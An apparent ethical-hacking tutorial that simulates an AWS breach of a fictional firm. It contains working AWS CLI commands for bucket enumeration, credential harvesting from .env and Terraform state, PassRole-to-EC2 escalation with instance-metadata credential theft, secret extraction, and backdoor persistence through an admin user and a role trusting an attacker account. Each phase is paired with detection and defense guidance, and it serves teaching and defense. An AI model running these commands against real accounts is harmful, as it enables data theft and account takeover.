Learn Ethical Hacking (#84) - Cloud Breach Simulation - From S3 Bucket to Account Takeover

avatar

Learn Ethical Hacking (#84) - Cloud Breach Simulation - From S3 Bucket to Account Takeover

leh-banner.jpg

What will I learn

  • Cloud-native attack chains -- how cloud breaches differ from traditional network compromises;
  • Phase 1: Discovery -- finding misconfigured cloud resources from the outside;
  • Phase 2: Initial access via public S3 bucket -- extracting credentials from exposed storage;
  • Phase 3: IAM enumeration and escalation -- mapping permissions and finding privilege escalation paths;
  • Phase 4: Cross-service pivoting -- moving from EC2 to Lambda to RDS to S3;
  • Phase 5: Data exfiltration and persistence -- accessing production data and maintaining access;
  • Cloud-specific detection opportunities -- CloudTrail events at every step;
  • Defense: the specific AWS controls that would have prevented each phase.

Requirements

  • A working modern computer running macOS, Windows or Ubuntu;
  • AWS CLI installed and configured;
  • Understanding of cloud security from episodes 35-36;
  • An AWS account for lab exercises (free tier sufficient);
  • The ambition to learn ethical hacking and security research.

Difficulty

  • Advanced

Curriculum (of the Learn Ethical Hacking Series):

Learn Ethical Hacking (#84) - Cloud Breach Simulation - From S3 Bucket to Account Takeover

Solutions to Episode 83 Exercises

Exercise 1: Full red team simulation (abbreviated).

Lab environment: DC01 (Windows Server 2022 AD), WS01+WS02 (Windows 11),
  WEB01 (Ubuntu + Apache), MAIL01 (hMailServer)

Timeline:
  00:00 -- Recon: subfinder + amass found 12 subdomains
  01:30 -- OSINT: LinkedIn harvested 15 employees, email format confirmed
  02:00 -- Password spray: 2/15 accounts with "Summer2026!"
  03:15 -- VPN access with compromised credentials
  03:45 -- Implant deployed on WS01 via phishing
  04:30 -- PrintSpoofer -> SYSTEM on WS01
  05:00 -- Mimikatz credential dump: 3 accounts including svc_sql
  06:00 -- Kerberoast: svc_mssql cracked (Domain Admin member)
  06:30 -- DCSync: all domain hashes extracted
  06:45 -- Golden Ticket forged, DC01 accessed

Detection mapping: 6 detection opportunities, lab SIEM caught 2
(Kerberoasting + LSASS access), missed 4 (no VPN monitoring,
no password spray detection, no email phishing detection, no
DCSync rule deployed).

The fact that only 2 out of 6 detection opportunities fired tells you something critical about the state of most SIEM deployments: the rules exist in theory but the data sources are not connected. Kerberoasting detection (Event 4769 with RC4 encryption type) and LSASS access detection both rely on Windows advanced audit logs that were already flowing into the SIEM from the domain controller. The missed detections -- VPN anomaly, password spray, phishing, DCSync -- all required data sources that were either not configured or not forwarded. The detection is only as good as the data it can see, and most organizations have massive blind spots in their log coverage. Having said that, catching 2 out of 6 in a lab where you deliberately set up these detection rules is still better than the Apex Financial scenario from the main episode where ZERO out of 8 were caught.

Exercise 2: Defenses implemented and re-test (abbreviated).

Defenses deployed:
  1. MFA on VPN (simulated with 2FA prompt)
  2. VLAN segmentation (workstations -> servers filtered)
  3. Kerberoasting SIEM rule (4769 RC4 alert)
  4. Tiered admin GPO (DA cannot log into workstations)
  5. DCSync detection (4662 replication GUID alert)

Re-test results:
  Phase 2 (VPN): BLOCKED by MFA requirement
  Phase 3 alternative (web app exploit on WEB01): succeeded but
    segmentation blocked pivot to AD servers
  Phase 4 (Kerberoast): DETECTED within 3 seconds (SIEM alert)
  Phase 4 (DCSync): DETECTED within 1 second (SIEM alert)
  Overall: attacker could not complete the kill chain.
  5 defenses blocked or detected the attack at 4 different points.

THIS is the result that justifies the entire defensive stack we have been building throughout this series. Five specific controls -- MFA, segmentation, two detection rules, and one GPO -- completely disrupted an attack chain that previously succeeded in under 7 hours. The key insight is that the attacker had to find an alternative path (exploiting the web server instead of VPN access), and that alternative path immediately ran into segmentation. Layered defense does not require every layer to be perfect -- it requires that the attacker cannot bypass ALL layers simultaneously. When the red team could not VPN in (MFA), could not pivot from the web server to AD (segmentation), and got detected when attempting Kerberoasting or DCSync (SIEM rules), the kill chain was broken at multiple points. No single defense was the hero; the combination was.

Exercise 3: Red team report written per Episode 66 template. Executive summary, attack narrative, 8 findings with CVSS scores, defensive retrospective.

Executive Summary (for CISO):
  Engagement: External red team assessment, 5-day window
  Outcome: Domain Admin achieved in 6h45m (initial test)
  After remediation: attack chain BLOCKED at 4 points
  Critical findings: 3 (missing MFA, flat network, DA service accounts)
  High findings: 3 (no password spray detection, EDR suppression, no DCSync rule)
  Medium findings: 2 (exposed dev subdomain, cleartext passwords in memory)

Top recommendation: MFA deployment alone would have prevented initial access.
  Estimated cost: $4/user/month (Azure AD P1). For 500 users: $24K/year.
  Risk reduction: eliminates 80%+ of credential-based initial access.
  ROI: one breach costs $4.88M average (IBM 2024). MFA at $24K/year
  pays for itself 200x over if it prevents a single incident.

The ROI calculation in the executive summary is what makes or breaks a red team report at the board level. CISOs do not present CVSS scores to the CFO -- they present business risk in dollar terms. Framing MFA as "$24K/year to reduce a $4.88M risk" is the language that gets budget approved. The technical findings matter for the remediation team, but the executive summary exists to secure funding for those remediations. Episode 66 covered this distinction between technical and executive audiences -- this exercise makes you practice writing for both in a single document.


Episode 83 was the capstone on-premise red team simulation: phish a user, pivot through the network, Kerberoast a service account, DCSync the domain controller, forge a Golden Ticket. The entire attack chain traversed physical networks, Windows endpoints, and Active Directory. Today we move that simulation to the cloud -- and the rules change completely.

Here we go.

The Cloud Is a Different Battlefield

In a traditional network breach (episode 83), the attacker compromises machines. They get a shell on a workstation, escalate to SYSTEM, dump credentials from memory, and move laterally across the network by connecting to other machines. The attack surface is endpoints and network paths. Firewalls, segmentation, and EDR are the defensive controls.

In a cloud-native breach, the attacker never touches an operating system. There is no shell. There is no malware. There is no lateral movement in the traditional sense. The entire attack is API calls -- requests to AWS services using stolen or misconfigured credentials. The attack surface is not machines; it is configurations. Every IAM policy, every bucket ACL, every Lambda environment variable, every security group rule is a potential entry point or escalation path.

I argue that this makes cloud security fundamentally harder to reason about than traditional network security. In a network, you can draw a diagram: this machine connects to that machine through this firewall rule. In the cloud, permissions are not spatial -- they are logical relationships between identities and resources that exist in a multi-dimensional policy space. An IAM role that can iam:PassRole and ec2:RunInstances can escalate to any role in the account by launching an EC2 instance with that role attached. You cannot draw that on a network diagram. You have to understand the graph of IAM relationships, and that graph is often so complex that even the administrators who built it cannot fully explain what any given identity can actually do.

The simulation we are about to walk through targets the same fictional company from episode 83 -- Apex Financial Services -- but attacks their AWS infrastructure instead of their on-premise Active Directory. The rules of engagement are the same (demonstrate capability, do not exfiltrate, do not disrupt). The result will be the same (complete compromise). But the path looks nothing like what we did last episode.

Phase 1: Discovery (Episodes 4, 5, 35)

Every cloud breach starts the same way traditional breaches do: with reconnaissance. The difference is WHAT you are looking for. Instead of subdomains pointing to web servers, we are looking for cloud resources that are exposed to the internet -- particularly S3 buckets, which are the most commonly misconfigured AWS resource by a considerable margin.

# Finding the target's cloud footprint

# S3 bucket enumeration (common naming patterns)
for prefix in apex apexfinancial apex-financial apex-fin; do
    for suffix in backup data logs staging dev prod assets; do
        aws s3 ls s3://${prefix}-${suffix} --no-sign-request 2>/dev/null && \
            echo "[!] PUBLIC: ${prefix}-${suffix}"
    done
done

# Result:
# [!] PUBLIC: apex-financial-dev-assets
# [!] PUBLIC: apexfinancial-logs

# What's in the public buckets?
aws s3 ls s3://apex-financial-dev-assets --no-sign-request --recursive
# 2026-04-15 terraform/
# 2026-04-15 terraform/main.tf
# 2026-04-15 terraform/terraform.tfstate    <-- JACKPOT
# 2026-04-20 scripts/deploy.sh
# 2026-04-20 .env                           <-- JACKPOT

# Download everything
aws s3 sync s3://apex-financial-dev-assets ./loot --no-sign-request

The --no-sign-request flag is the key detail here. It means we are making these requests without any AWS credentials at all -- we are accessing these buckets as an anonymous, unauthenticated user from the public internet. The fact that aws s3 ls succeeds with this flag means the bucket policy explicitly allows s3:ListBucket to anyone. The fact that aws s3 sync succeeds means it also allows s3:GetObject to anyone. This is not a sophisticated attack -- this is the equivalent of leaving your filing cabinet unlocked on the sidewalk.

The naming pattern enumeration is effective because organizations are predictable. company-name-environment-purpose is how 90% of S3 buckets are named. Tools like cloud_enum and S3Scanner automate this with wordlists of common suffixes, but even a simple bash loop (as shown above) will find the low-hanging fruit. And "low-hanging fruit" is often all you need -- one public bucket with one .env file containing valid credentials is game over.

Detection opportunity: CloudTrail logs every s3:ListBucket and s3:GetObject API call, even from unauthenticated requestors. GuardDuty (if enabled) would generate a Discovery:S3/MaliciousIPCaller finding for repeated access from an unknown IP. Defense: enable S3 Block Public Access at the account level (not per-bucket -- account-level is the kill switch that overrides individual bucket policies). We covered this in episode 35.

Phase 2: Initial Access (Episodes 35, 38)

The public bucket contained a .env file and a Terraform state file. Both are credential goldmines.

# Examine the loot
cat loot/.env
# AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
# AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# DATABASE_URL=postgresql://admin:[email protected]/customers
# STRIPE_SECRET_KEY=sk_live_...

cat loot/terraform/terraform.tfstate | python3 -c "
import json, sys
state = json.load(sys.stdin)
for resource in state.get('resources', []):
    for instance in resource.get('instances', []):
        attrs = instance.get('attributes', {})
        for key, val in attrs.items():
            if any(s in key.lower() for s in ['password', 'secret', 'key', 'token']):
                print(f'{resource[\"type\"]}.{resource[\"name\"]}: {key} = {val}')
"
# aws_db_instance.customers: password = DbPass2026!
# aws_lambda_function.payments: environment.STRIPE_KEY = sk_live_...
# aws_iam_access_key.deploy: secret = wJalr...

# Configure stolen credentials
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="wJalr..."

# Who am I?
aws sts get-caller-identity
# Account: 123456789012
# Arn: arn:aws:iam::123456789012:user/dev-deploy
# UserId: AIDAEXAMPLE12345

The .env file is bad enough -- it contains AWS credentials, a database connection string with plaintext password, and a live Stripe payment processing key. But the Terraform state file is worse. Terraform state contains the current state of ALL infrastructure managed by Terraform, including every attribute of every resource -- and that includes passwords, secrets, API keys, and access tokens that were configured as part of the infrastructure. If your Terraform state file is accessible, your entire infrastructure is compromised. Full stop.

The sts:GetCallerIdentity call is the attacker's equivalent of whoami in Windows. It tells us which AWS account we are in (123456789012), which IAM identity we are using (the dev-deploy user), and confirms the credentials are valid. This is the point of no return for the target -- an attacker now has valid, authenticated access to their AWS account.

Detection opportunity: sts:GetCallerIdentity from a new, never-before-seen IP address should trigger an alert. The credentials are for a CI/CD service account (dev-deploy) -- it should only ever authenticate from known CI/CD infrastructure IPs (GitHub Actions runners, Jenkins servers, etc.), not from some random external IP. Defense: never store credentials in .env files or Terraform state (episode 38 covered using AWS Secrets Manager and encrypted S3 backends for state). Rotate credentials regularly. Use IAM Access Analyzer to detect credentials used from unexpected sources.

Phase 3: IAM Enumeration and Escalation (Episode 35)

Now we know who we are. The next question is: what can we do? IAM enumeration is the cloud equivalent of BloodHound in Active Directory -- we are mapping the permission graph to find escalation paths.

# What policies are attached to this user?
aws iam list-attached-user-policies --user-name dev-deploy
# AttachedPolicies:
#   - PolicyName: DevDeployPolicy
#     PolicyArn: arn:aws:iam::123456789012:policy/DevDeployPolicy

aws iam get-policy-version \
    --policy-arn arn:aws:iam::123456789012:policy/DevDeployPolicy \
    --version-id v1 \
    --query 'PolicyVersion.Document'
# {
#   "Statement": [{
#     "Effect": "Allow",
#     "Action": ["s3:*", "lambda:*", "ec2:RunInstances",
#                "iam:PassRole", "logs:*", "iam:List*", "iam:Get*"],
#     "Resource": "*"
#   }]
# }

# iam:PassRole + ec2:RunInstances = privilege escalation path!
# Find high-privilege roles to pass
aws iam list-roles --query 'Roles[].{Name:RoleName,Arn:Arn}' --output table
# AdminRole              arn:aws:iam::123456789012:role/AdminRole
# LambdaExecutionRole    arn:aws:iam::123456789012:role/LambdaExec
# EC2-SSM-Role           arn:aws:iam::123456789012:role/EC2-SSM

# Escalate: launch EC2 with AdminRole attached
aws ec2 run-instances \
    --image-id ami-0c55b159cbfafe1f0 \
    --instance-type t2.micro \
    --iam-instance-profile Name=AdminRole-Profile \
    --key-name attacker-imported-key \
    --security-group-ids sg-0123456789abcdef0
# Instance i-0abc123def456 launching with AdminRole

# SSH in, then grab credentials from instance metadata
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# Returns: temporary AccessKeyId, SecretAccessKey, Token
# These credentials have AdminRole permissions -- full account access

The iam:PassRole permission is the most dangerous permission in AWS that nobody talks about. By itself, it does nothing. But combined with any permission that can attach a role to a resource (like ec2:RunInstances, lambda:CreateFunction, or ecs:RegisterTaskDefinition), it becomes a privilege escalation vector. The logic is: I can create an EC2 instance and attach ANY role to it. Then I SSH into that instance and use the instance metadata service to obtain temporary credentials for that role. I just gave myself whatever permissions that role has -- even if my own IAM policy does not allow those actions directly.

This is the cloud equivalent of the svc_sql being Domain Admin in episode 83. Someone created the DevDeployPolicy with iam:PassRole on Resource: "*" because the CI/CD pipeline needed to assign roles to the resources it deployed. That is a legitimate use case -- but the correct implementation is iam:PassRole restricted to specific role ARNs that the CI/CD pipeline is authorized to deploy with, not * which means "every role in the account, including AdministratorAccess." The person who wrote this policy took the path of least resistance, and that path led directly to full account compromise ;-)

Detection opportunity: ec2:RunInstances with an instance profile that grants admin-level access is a critical event that should ALWAYS fire an alert. Combined with the earlier iam:ListRoles enumeration (which is unusual behavior for a CI/CD service account), the pattern is obvious: someone is exploring what roles exist and then launching infrastructure to escalate. Defense: restrict iam:PassRole to specific role ARNs using a condition key. Deploy an SCP (Service Control Policy) at the organization level that prevents EC2 launches with admin roles except from authorized accounts.

Phase 4: Cross-Service Pivoting (Episodes 35, 37)

With AdminRole credentials, the entire AWS account is open. This is not like network pivoting where you move from machine to machine -- in the cloud, you can access ANY service from ANY location because everything is an API call. There is no network to traverse.

# With AdminRole, access all S3 buckets
aws s3 ls
# apexfinancial-customer-data
# apexfinancial-financial-reports
# apexfinancial-backups
# apexfinancial-logs

# Sample the customer data bucket
aws s3 ls s3://apexfinancial-customer-data/ --recursive | head -20
# customers/export-2026-05.csv
# customers/export-2026-06.csv
# transactions/2026-Q2.parquet
# kyc-documents/passport-scans/
# kyc-documents/utility-bills/

aws s3 cp s3://apexfinancial-customer-data/customers/export-2026-06.csv - | wc -l
# 247,389 lines -- full customer database

# Extract Lambda function secrets
aws lambda list-functions --query 'Functions[].FunctionName' --output text
# process-payments  send-notifications  generate-reports  kyc-verify

aws lambda get-function-configuration --function-name process-payments \
    --query 'Environment.Variables'
# {
#   "STRIPE_KEY": "sk_live_51J...",
#   "DB_CONNECTION": "postgresql://admin:DbPass2026!@rds-prod...",
#   "INTERNAL_API_KEY": "apex-internal-v2-9f8a7b6c",
#   "ENCRYPTION_MASTER_KEY": "base64:Kx9f..."
# }

# Access Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[].Name'
# ["prod/rds-master", "prod/stripe-live", "prod/encryption-key", "prod/jwt-signing"]

aws secretsmanager get-secret-value --secret-id prod/rds-master \
    --query 'SecretString' --output text
# {"username":"admin","password":"RdsMaster!2026$Pr0d","host":"rds-prod.abc123..."}

Notice what just happened. In four API calls, we accessed: 247,000 customer records (including PII), the Stripe live payment key (ability to process or refund transactions), the database master credentials, Lambda environment variables with internal API keys, and Secrets Manager entries containing the JWT signing key (which means we can forge authentication tokens for any user of their web application). The total time from obtaining AdminRole credentials to accessing all of this: maybe 5 minutes of typing commands.

In episode 83's on-premise scenario, accessing the customer database required compromising a domain admin account, finding the database server, and authenticating to it. Here, it required one aws s3 cp command. The cloud concentrates data access into API calls that require only the right credentials -- there is no intermediary network to traverse, no endpoint to compromise, no security agent to evade. If your IAM permissions are wrong, the data is one command away.

Detection opportunity: GuardDuty would flag anomalous S3 access patterns (a role that has never accessed the customer-data bucket suddenly downloading large objects). CloudTrail shows s3:GetObject, lambda:GetFunctionConfiguration, and secretsmanager:GetSecretValue all from the same temporary credentials within minutes -- this is the data access pattern of a breach, not normal application behavior. Defense: VPC endpoints with S3 bucket policies that restrict access to traffic from within the VPC (so even with valid credentials, you cannot access the bucket from outside the network). Resource policies on Secrets Manager that restrict access to specific roles. Data perimeter controls that prevent exfiltration by limiting who can copy data to external accounts.

Phase 5: Persistence and Impact Assessment (Episode 35)

The final phase of any breach simulation is establishing persistence (so the attacker can return even if the initial access vector is closed) and documenting the impact (per the ROE, we demonstrate capability without actually exfiltrating data).

# Persistence: create a backdoor IAM user with an innocuous name
aws iam create-user --user-name support-audit-svc
aws iam attach-user-policy --user-name support-audit-svc \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name support-audit-svc
# AccessKeyId: AKIA...  SecretAccessKey: ...
# Permanent admin credentials that survive the original key rotation

# Alternative persistence: cross-account role trust
aws iam create-role --role-name CloudFormation-Audit \
    --assume-role-policy-document '{
      "Statement": [{
        "Effect": "Allow",
        "Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
        "Action": "sts:AssumeRole"
      }]
    }'
aws iam attach-role-policy --role-name CloudFormation-Audit \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Now the attacker can assume this role from their own account
# Survives credential rotation AND user deletion

The cross-account role trust persistence mechanism is particularly nasty because it does not show up in the victim's list of IAM users or access keys. The attacker creates a role in the victim's account that trusts the attacker's own AWS account. Even if the victim rotates all credentials, deletes suspicious users, and audits all access keys -- the role trust persists because it does not appear as a "user" in any audit. The attacker simply calls sts:AssumeRole from their own account and gets admin access. Finding this requires auditing the AssumeRolePolicyDocument of every IAM role in the account, which most incident response teams do not do by default.

Impact assessment (documented per ROE, not exfiltrated):
  - 247,389 customer records (PII: names, addresses, SSNs)
  - Financial transaction history (account balances, transfers)
  - KYC documents (passport scans, utility bills) -- GDPR Article 9 data
  - Stripe live payment key (can process/refund transactions)
  - Database master credentials (full read/write to production)
  - Internal API keys for all microservices
  - JWT signing key (can forge any user session)
  - Master encryption key for data at rest

Total time from discovery to full admin access: ~3 hours
Total API calls made: approximately 45
Endpoints compromised: 0 (zero)
Malware deployed: none
Network traffic intercepted: none

Three hours. Forty-five API calls. Zero malware. Zero endpoints. The entire attack was a human typing AWS CLI commands on their own laptop using stolen credentials. There is nothing for an EDR to detect because no endpoint was compromised. There is nothing for a network IDS to detect because all traffic is TLS-encrypted HTTPS to legitimate AWS API endpoints. The ONLY detection mechanism that would have caught this at any point is CloudTrail + alerting -- and Apex Financial had CloudTrail enabled (it is enabled by default) but nobody was watching the logs.

Detection opportunity: iam:CreateUser followed by iam:AttachUserPolicy with AdministratorAccess is the single highest-priority CloudTrail event pattern in any AWS account. iam:CreateRole with a cross-account trust policy is equally critical. These should page someone immediately, 24/7, with no snooze button. Defense: SCP preventing IAM user creation outside of an approved IaC pipeline. SCP preventing cross-account role trusts to unknown account IDs. GuardDuty detects both patterns: Persistence:IAMUser/AnomalousBehavior and UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.

Detection Timeline

CloudTrail events generated during this simulation:

00:00 -- s3:ListBucket (apex-financial-dev-assets, no auth)
00:01 -- s3:GetObject x 4 (.env, tfstate, main.tf, deploy.sh, no auth)
         => GuardDuty: Discovery:S3/MaliciousIPCaller (if enabled)

01:00 -- sts:GetCallerIdentity (dev-deploy from unfamiliar IP)
         => Custom alert: service account from non-CI/CD IP

01:10 -- iam:ListAttachedUserPolicies, iam:GetPolicyVersion
01:15 -- iam:ListRoles (enumeration)
         => GuardDuty: Recon:IAMUser/MaliciousIPCaller

02:00 -- ec2:RunInstances (AdminRole instance profile)
         => Custom alert: EC2 with admin role = CRITICAL

02:05 -- (from EC2) s3:ListBuckets, s3:GetObject on customer-data
02:10 -- lambda:GetFunctionConfiguration x 4
02:12 -- secretsmanager:GetSecretValue x 4
         => GuardDuty: anomalous access pattern

02:30 -- iam:CreateUser (support-audit-svc)
02:31 -- iam:AttachUserPolicy (AdministratorAccess)
02:32 -- iam:CreateAccessKey
02:35 -- iam:CreateRole (cross-account trust)
         => GuardDuty: Persistence:IAMUser/AnomalousBehavior

Total: 14 high-confidence detection opportunities
Detected: 0 (GuardDuty was not enabled)
Alerted: 0 (no SIEM integration with CloudTrail)
Contained: 0 (nobody was watching)

The detection timeline reveals the same pattern we saw in episode 83: the logging was happening (CloudTrail is on by default), but nobody configured alerting on the events that matter. It is the equivalent of having security cameras that record to a tape nobody ever watches. The data exists to detect every single phase of this attack -- but detection requires someone (or something) to actually LOOK at the data and DECIDE that what they see is malicious.

The AI Slop Connection

This simulation exploits every AI-generated cloud misconfiguration pattern I have seen in real-world assessments. Let me be specific about each one:

The public S3 bucket was created by a Terraform module that an AI generated. The AI defaulted to acl = "public-read" because the developer's prompt said "create a bucket for dev assets" and the AI interpeted "assets" as "static web assets that need public access." A human who understands S3 security would have asked "do these assets need to be public?" The AI did not ask -- it assumed.

The .env file in the bucket was committed because the AI-generated .gitignore did not include .env. The developer asked the AI to "set up a deployment pipeline" and the AI generated a .env file with hardcoded credentials as "the simplest approach to configuration management." A human developer would know that .env files with AWS credentials should never leave the local machine. The AI optimized for "it works" not "it is secure."

The IAM policy with iam:PassRole on Resource: "*" was AI-generated because the developer asked "give this user the permissions it needs to deploy Lambda functions and EC2 instances." The AI produced a policy that works -- the deploy user CAN deploy things. But it also granted the ability to escalate to admin on any role in the account, because restricting PassRole to specific role ARNs requires understanding the target roles and the AI took the shortcut.

The Lambda storing secrets in environment variables happened because the developer asked the AI "how do I pass configuration to my Lambda function" and the AI suggested environment variables as "the standard approach." It is standard -- but for secrets, the standard is Secrets Manager with an IAM role grant, not plaintext in the function configuration. The AI gave the answer that was technically correct and operationally disastrous.

Every shortcut the AI took during development became an attack path in production. I count four AI-generated decisions that directly enabled four phases of this attack chain. None of them are exotic vulnerabilities -- they are all well-known misconfigurations that experienced cloud engineers would never make. The AI is not malicious; it is optimizing for the wrong objective (immediate functionality rather than long-term security). And organizations that deploy AI-generated infrastructure without security review are deploying attack surfaces, not applications.

Exercises

Exercise 1: Build a deliberately vulnerable AWS lab using Terraform. Create: (a) a public S3 bucket containing a .env file with fake AWS credentials, (b) an IAM user (dev-deploy) with PassRole + EC2 + S3 + Lambda permissions, (c) an IAM role (AdminRole) with AdministratorAccess that the dev-deploy user can pass to EC2, (d) a Lambda function with secrets stored in environment variables, (e) an RDS instance with a password you know. Then execute the full attack chain from Phase 1 through Phase 5 against your own lab. Document each step with exact commands and the CloudTrail events generated.

Exercise 2: Enable GuardDuty and set up CloudWatch alarms on CloudTrail in your lab account. Create custom metric filters for: iam:CreateUser, iam:AttachUserPolicy, ec2:RunInstances with an instance profile, and sts:GetCallerIdentity from new IP addresses. Re-run the attack from exercise 1 and document: (a) which GuardDuty findings were generated and how quickly, (b) which CloudWatch alarms fired, (c) which phases were detected vs. missed, (d) what additional detection rules you would write to catch what was missed.

Exercise 3: Fix every vulnerability in your lab: (a) enable S3 Block Public Access at the account level, (b) remove the .env file and store credentials in Secrets Manager, (c) restrict iam:PassRole to specific role ARNs only, (d) enforce IMDSv2 on all EC2 instances (blocks metadata credential theft from SSRFs), (e) enable GuardDuty with auto-remediation via EventBridge + Lambda. Re-run the attack and verify each phase is blocked. Write the defensive report documenting what was fixed and how it prevents each attack phase.


De groeten!

@scipio



0
0
0.000
0 comments